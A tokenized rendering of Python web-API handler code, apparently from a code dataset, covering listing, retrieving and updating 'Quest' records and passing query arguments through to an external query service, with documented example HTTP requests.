"creator_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "offset_", ",_", "limit_", ",_", "expand_", "=_", "self_", "._", "get", "\\u", "pagina", "tion", "\\u", "values_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "quest", "s_", ",_", "total_", "=_", "self_", "._", "paginate", "\\u", "query_", "(_", "quest", "s_", ",_", "offset_", ",_", "limit_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "quest", "s_", "=_", "quest", "s_", "._", "from", "\\u", "self_", "(_", ")_", "._", "order", "\\u", "by_", "(_", "Quest", "_", "._", "emb", "ark", "\\u", "time_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "quest", "s", "\\u", "json_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "quest_", "in_", "quest", "s_", "._", "all_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "quest", "\\u", "json_", "=_", "quest_", "._", "to", "\\u", "dict_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "base", "\\u", "uri_", "=_", "self_", "._", "href", "\\u", "prefix_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "expand_", "=_", "set_", "(_", "expand_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "progress", "\\u", "info_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "quest", "\\u", "json_", "=_", "quest_", "._", "calcul", "ate", "\\u", "progress_", "(_", "quest", "\\u", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "quest", "s", "\\u", "json_", "._", "append_", "(_", "quest", "\\u", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "json_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "limit", "\"_", ":_", "limit_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "offset", "\"_", ":_", "offset_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "total", "Quest", "s", "\"_", ":_", "total_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "quest", "s", "\"_", ":_", "quest", "s", "\\u", "json_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "success_", "(_", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Quest", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Quest", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "get_", "(_", "self_", ",_", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "**", "Get", " ", "a", " ", "specific", " ", "Quest", "**", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "Request", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "GET", " ", "/", "api", "/", "v1", "/", "quest", "s", "/", "1", " ", "HTTP", "/", "1.1", "\\", "10", ";", " ", " ", " ", " ", "Host", ":", " ", "local", "host", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "response", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\\", "10", ";", " ", " ", " ", " ", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "status", "\":", " ", "\"", "ok", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "id", "\":", " ", "1", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "href", "\":", " ", "\"/", "api", "/", "v1", "/", "quest", "s", "/", "1", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "creat", "or", "\":", " ", "\"", "john", "ny", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "emb", "ark", "Time", "\":", " ", "timestamp", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "target", "Time", "\":", " ", "timestamp", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "completion", "Time", "\":", " ", "timestamp", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "description", "\":", " ", "\"", "Thi", "s", " ", "is", " ", "a", " ", "quest", " ", "alm", "ight", "y", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "labor", "s", "\":", " ", "[]", ",", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "id", ":", " ", "id", " ", "of", " ", "the", " ", "Quest", " ", "to", " ", "retrieve", "\\", "10", ";", " ", " ", " ", " ", ":", "type", " ", "id", ":", " ", "int", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "string", " ", "expand", ":", " ", "(*", "option", "al", "*)", " ", "support", "s", " ", "labor", "s", ",", " ", "host", "s", ",", " ", "events", ",", " ", "event", "types", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "boolean", " ", "progress", "Info", ":", " ", "(*", "option", "al", "*)", " ", "if", " ", "true", ",", " ", "include", " ", "progress", " ", "informati", "on", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "boolean", " ", "only", "Open", "Labo", "rs", ":", " ", "(*", "option", "al", "*)", " ", "if", " ", "true", ",", " ", "only", " ", "return", " ", "open", " ", "labor", "s", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "200", ":", " ", "The", " ", "request", " ", "was", " ", "success", "ful", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "401", ":", " ", "The", " ", "request", " ", "was", " ", "made", " ", "with", "out", " ", "bei", "ng", " ", "logged", " ", "in", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "404", ":", " ", "The", " ", "Event", "Type", " ", "was", " ", "not", " ", "found", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "offset_", ",_", "limit_", ",_", "expand_", "=_", "self_", "._", "get", "\\u", "pagina", "tion", "\\u", "values_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "progress", "\\u", "info_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "\"", "progress", "Info", "\"_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "only", "\\u", "open", "\\u", "labor", "s_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "\"", "only", "Open", "Labo", "rs", "\"_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "quest_", "=_", "self_", "._", "session_", "._", "query_", "(_", "Quest", "_", ")_", "._", "filter", "\\u", "by_", "(_", "id_", "=_", "id_", ")_", "._", "scalar_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "quest_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Not", "Found_", "(_", "\"", "No", " ", "suc", "h", " ", "Quest", " ", "{}", " ", "found", "\"_", "._", "format_", "(_", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "out_", "=_", "quest_", "._", "to", "\\u", "dict_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "base", "\\u", "uri_", "=_", "self_", "._", "href", "\\u", "prefix_", ",_", "expand_", "=_", "set_", "(_", "expand_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "only", "\\u", "open", "\\u", "labor", "s_", "=_", "only", "\\u", "open", "\\u", "labor", "s_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "progress", "\\u", "info_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "out_", "=_", "quest_", "._", "calcul", "ate", "\\u", "progress_", "(_", "out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "success_", "(_", "out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Quest", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "put_", "(_", "self_", ",_", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "**", "Update", " ", "a", " ", "Quest", "**", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "Request", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", " ", "PU", "T", " ", "/", "api", "/", "v1", "/", "quest", "/", "1", " ", "HTTP", "/", "1.1", "\\", "10", ";", " ", " ", " ", " ", " ", "Host", ":", " ", "local", "host", "\\", "10", ";", " ", " ", " ", " ", " ", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", " ", "\"", "description", "\":", " ", "\"", "New", " ", "desc", "\",", "\\", "10", ";", " ", " ", " ", " ", " ", "\"", "creat", "or", "\":", " ", "\"", "tam", "my", "\"", "\\", "10", ";", " ", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "response", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\\", "10", ";", " ", " ", " ", " ", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "status", "\":", " ", "\"", "ok", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "id", "\":", " ", "1", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "href", "\":", " ", "\"/", "api", "/", "v1", "/", "quest", "s", "/", "1", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "creat", "or", "\":", " ", "\"", "tam", "my", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "emb", "ark", "Time", "\":", " ", "timestamp", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "target", "Time", "\":", " ", "timestamp", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "completion", "Time", "\":", " ", "timestamp", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "description", "\":", " ", "\"", "New", " ", "desc", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "labor", "s", "\":", " ", "[]", ",", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "id", ":", " ", "id", " ", "of", " ", "the", " ", "Quest", " ", "tha", "t", " ", "shou", "ld", " ", "be", " ", "update", "d", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "type", " ", "id", ":", " ", "string", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "req", "json", " ", "string", " ", "description", ":", " ", "the", " ", "new", " ", "description", " ", "of", " ", "the", " ", "Quest", "\\", "10", ";", " ", " ", " ", " ", ":", "req", "json", " ", "string", " ", "creat", "or", ":", " ", "The", " ", "new", " ", "user", "name", " ", "of", " ", "the", " ", "creat", "or", " ", "(", "owner", ")", "\\", "10", ";", " ", " ", " ", " ", ":", "reg", "json", " ", "timestamp", " ", "target", "Time", ":", " ", "Set", " ", "a", " ", "new", " ", "target", "Time", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "req", "header", " ", "Conten", "t", "-", "Type", ":", " ", "The", " ", "server", " ", "expect", "s", " ", "a", " ", "json", " ", "body", " ", "specified", " ", "with", "\\", "10", ";", " ", " ", " ", " ", " ", " ", " ", "this", " ", "header", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "200", ":", " ", "The", " ", "request", " ", "was", " ", "success", "ful", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "400", ":", " ", "The", " ", "request", " ", "was", " ", "mal", "formed", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "401", ":", " ", "The", " ", "request", " ", "was", " ", "made", " ", "with", "out", " ", "bei", "ng", " ", "logged", " ", "in", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "403", ":", " ", "The", " ", "request", " ", "was", " ", "made", " ", "with", " ", "insuf", "ficient", " ", "permissi", "ons", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "404", ":", " ", "The", " ", "Quest", " ", "was", " ", "not", " ", "found", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "409", ":", " ", "There", " ", "was", " ", "a", " ", "confl", "ict", " ", "with", " ", "anot", "her", " ", "resource", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log_", "._", "info_", "(_", "\"", "QUE", "ST", ":", " ", "Up", "dati", "ng", " ", "{}\"_", "._", "format_", "(_", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "quest_", "=_", "self_", "._", "session_", "._", "query_", "(_", "Quest", "_", ")_", "._", "filter", "\\u", "by_", "(_", "id_", "=_", "id_", ")_", "._", "scalar_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "quest_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Not", "Found_", "(_", "\"", "No", " ", "suc", "h", " ", "Quest", " ", "{}", " ", "found", "\"_", "._", "format_", "(_", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "new", "\\u", "desc_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "creator_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "target", "\\u", "time_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "\"", "description", "\"_", "in_", "self_", "._", "jbo", "dy_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "new", "\\u", "desc_", "=_", "self_", "._", "jbo", "dy_", "[_", "\"", "description", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\"", "creat", "or", "\"_", "in_", "self_", "._", "jbo", "dy_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "new", "\\u", "creator_", "=_", "self_", "._", "jbo", "dy_", "[_", "'", "creat", "or", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "EMA", "IL", "\\u", "REGEX_", "._", "match_", "(_", "new", "\\u", "creator_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "new", "\\u", "creator_", "+=_", "\"@\"_", "+_", "self_", "._", "domain_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\"", "target", "Time", "\"_", "in_", "self_", "._", "jbo", "dy_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "new", "\\u", "target", "\\u", "time_", "=_", "parser_", "._", "parse_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "jbo", "dy_", "[_", "\"", "target", "Time", "\"_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "target", "\\u", "time_", "=_", "new", "\\u", "target", "\\u", "time_", "._", "replace_", "(_", "tzinfo_", "=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "new", "\\u", "target", "\\u", "time_", "<=_", "datetime_", "._", "utcnow_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "raise_", "exc_", "._", "Ba", "d", "Request_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Quest", " ", "target", " ", "date", " ", "must", " ", "be", " ", "in", " ", "future", "\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "Error_", "as_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Ba", "d", "Request_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Missing", " ", "Requ", "ired", " ", "Arg", "ument", ":", " ", "{}\"_", "._", "format_", "(_", "err_", "._", "message_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "new", "\\u", "desc_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "quest_", "=_", "quest_", "._", "update_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "description_", "=_", "new", "\\u", "desc_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "new", "\\u", "creator_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "quest_", "=_", "quest_", "._", "update_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "creator_", "=_", "new", "\\u", "creator_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "new", "\\u", "target", "\\u", "time_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "quest_", "=_", "quest_", "._", "update_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "target", "\\u", "time_", "=_", "new", "\\u", "target", "\\u", "time_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Int", "egr", "it", "y", "Error_", "as_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Conflict_", "(_", "str_", "(_", "err_", "._", "orig_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "json_", "=_", "quest_", "._", "to", "\\u", "dict_", "(_", "self_", "._", "href", "\\u", "prefix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "success_", "(_", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log_", "._", "info_", "(_", "\"", "QUE", "ST", " ", "[{}]", ":", " ", "Update", "d", ":", " ", "{}", " ", "{}", " ", "{}\"_", "._", "format_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "new", " ", "description", " ", "{}\"_", "._", "format_", "(_", "new", "\\u", "desc_", ")_", "if_", "new", "\\u", "desc_", "else_", "\"\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "new", " ", "creat", "or", " ", "{}\"_", "._", "format_", "(_", "new", "\\u", "creator_", ")_", "if_", "new", "\\u", "creator_", "else_", "\"\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "new", " ", "target", " ", "time", " ", "{}\"_", "._", "format_", "(_", "new", "\\u", "target", "\\u", "time_", ")_", "if_", "new", "\\u", "target", "\\u", "time_", "else_", "\"\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Quest", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "delete_", "(_", "self_", ",_", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "**", "Delete", " ", "a", " ", "Quest", "**", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "*", "Not", " ", "support", "ed", "*", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "not", "\\u", "supported_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Ext", "Query", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Ext", "Query", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "get_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "**", "Get", " ", "results", " ", "from", " ", "the", " ", "external", " ", "query", " ", "service", "s", "**", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "front", "end", " ", "will", " ", "need", " ", "to", " ", "run", " ", "querie", "s", " ", "against", " ", "the", " ", "external", " ", "query", " ", "server", "\\", "10", ";", " ", " ", " ", " ", "so", " ", "tha", "t", " ", "users", " ", "can", " ", "validat", "e", " ", "the", " ", "results", " ", "bef", "ore", " ", "working", " ", "with", " ", "a", " ", "partic", "ular", "\\", "10", ";", " ", " ", " ", " ", "query", ".", " ", " ", "Thi", "s", " ", "handler", " ", "acts", " ", "as", " ", "a", " ", "passthrough", " ", "so", " ", "users", " ", "can", " ", "do", " ", "exact", "ly", " ", "tha", "t", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "Request", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "GET", " ", "/", "api", "/", "v1", "/", "query", "?", "query", "=", "server", " ", "HTTP", "/", "1.1", "\\", "10", ";", " ", " ", " ", " ", "Host", ":", " ", "local", "host", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "response", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\\", "10", ";", " ", " ", " ", " ", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "status", "\":", " ", "\"", "ok", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "results", "\":", " ", "[", "\\", "10", ";", " ", " ", "{", "\\", "10", ";", " ", " ", "\"", "id", "\":", " ", "1", ",", "\\", "10", ";", " ", " ", "\"", "href", "\":", " ", "\"/", "api", "/", "v1", "/", "host", "s", "/", "server", "1", "\",", "\\", "10", ";", " ", " ", "\"", "host", "name", "\":", " ", "\"", "server", "1", "\",", "\\", "10", ";", " ", " ", "},", "\\", "10", ";", " ", " ", "...", "\\", "10", ";", " ", " ", " ", " ", "]", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "200", ":", " ", "The", " ", "request", " ", "was", " ", "success", "ful", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "401", ":", " ", "The", " ", "request", " ", "was", " ", "made", " ", "with", "out", " ", "bei", "ng", " ", "logged", " ", "in", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "Plug", "in", "Helper_", "._", "request", "\\u", "get_", "(_", "params_", "=_", "self_", "._", "request_", "._", "arguments_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "._", "status", "\\u", "code_", "==_", "200_", "\\u\\u\\uNL\\u\\u\\u_", "and_", "response_", "._", "json_", "(_", ")_", "[_", "\"", "status", "\"_", "]_", "==_", "\"", "ok", "\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result", "\\u", "json_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "results", "\"_", ":_", "response_", "._", "json_", "(_", ")_", "[_", "\"", "results", "\"_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Ba", "d", "Request_", "(_", "\"", "Ba", "d", " ", "host", " ", "query", ":", " ", "{}\"_", "._", "format_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "request_", "._", "arguments_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 